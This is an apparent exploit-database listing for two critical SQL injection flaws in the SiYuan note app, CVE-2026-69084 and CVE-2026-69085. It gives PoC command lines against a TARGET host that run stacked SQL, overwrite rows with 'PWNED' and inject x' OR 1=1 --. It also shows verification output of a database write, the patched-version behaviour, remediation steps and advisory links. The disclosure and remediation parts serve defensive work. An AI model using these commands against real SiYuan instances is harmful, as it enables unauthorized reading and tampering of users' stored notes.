Exploit for CVE-2026-69084 CVE-2026-69084 CVE-2026-69085

## https://sploitus.com/exploit?id=EFAE4382-8B52-52E8-B2F7-900D05C3A218
# CVE-2026-69084 / CVE-2026-69085 — SiYuan Arbitrary SQL Execution & SQLi

**CVE-2026-69084:** Arbitrary SQL Execution via `/api/search/searchEmbedBlock`
**CVE-2026-69085:** SQL Injection via `/api/filetree/searchDocs`
**CVSS 9.9 (Critical)** each · **CWE-89** · SiYuan  --check

# 2. DB-write proof: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth  --proof

# 3. Run arbitrary SQL (stacked statements supported)
python3 CVE-2026-69084.py http://TARGET:6806 --auth  "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth  "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"

# 4. searchDocs SQLi (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth  --searchdocs "x' OR 1=1 --"
```

If the instance runs with publish mode enabled and auth disabled
(`Publish.Auth.Enable=false`), no `--auth` is needed at all.

## Verification (real SiYuan v3.7.2 in Docker)

```
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL kabul edildi (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL kabul edildi (blocks: 0)
[+] DB-WRITE KANITI TAMAM — siyuan.db'de pwn_69084 tablosu + 31337 satırı

# On the host:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337
```

**Patched v3.7.3** rejects the same requests:
- `SELECT 1; CREATE TABLE x` → `"SQL statement is not single"`
- `UPDATE blocks ...` → `"SQL statement is not a read-only query"`
- single `SELECT` still works (legit functionality preserved)

## PoC internals

The Python PoC performs a session login (`/api/system/loginAuth`) to obtain
the auth cookie, then POSTs to the vulnerable endpoint. Tested against
`b3log/siyuan:v3.7.2` (vulnerable) and `b3log/siyuan:v3.7.3` (patched).

## Remediation

- Upgrade SiYuan to **v3.7.3** or later.
- If you expose SiYuan's publish mode, keep `Publish.Auth.Enable=true` and
  use strong RoleReader tokens.

## References

- [GHSA-p2x7-4c4p-8wh6 (69084)](https://github.com/siyuan-note/siyuan/security/advisories)
- [GHSA-5w4j-hchp-r332 (69085)](https://github.com/siyuan-note/siyuan/security/advisories)
- [NVD — CVE-2026-69084](https://nvd.nist.gov/vuln/detail/CVE-2026-69084)
- [NVD — CVE-2026-69085](https://nvd.nist.gov/vuln/detail/CVE-2026-69085)
- [VulnCheck advisory](https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchembedblock)

## Disclaimer

For authorized security testing and educational purposes only.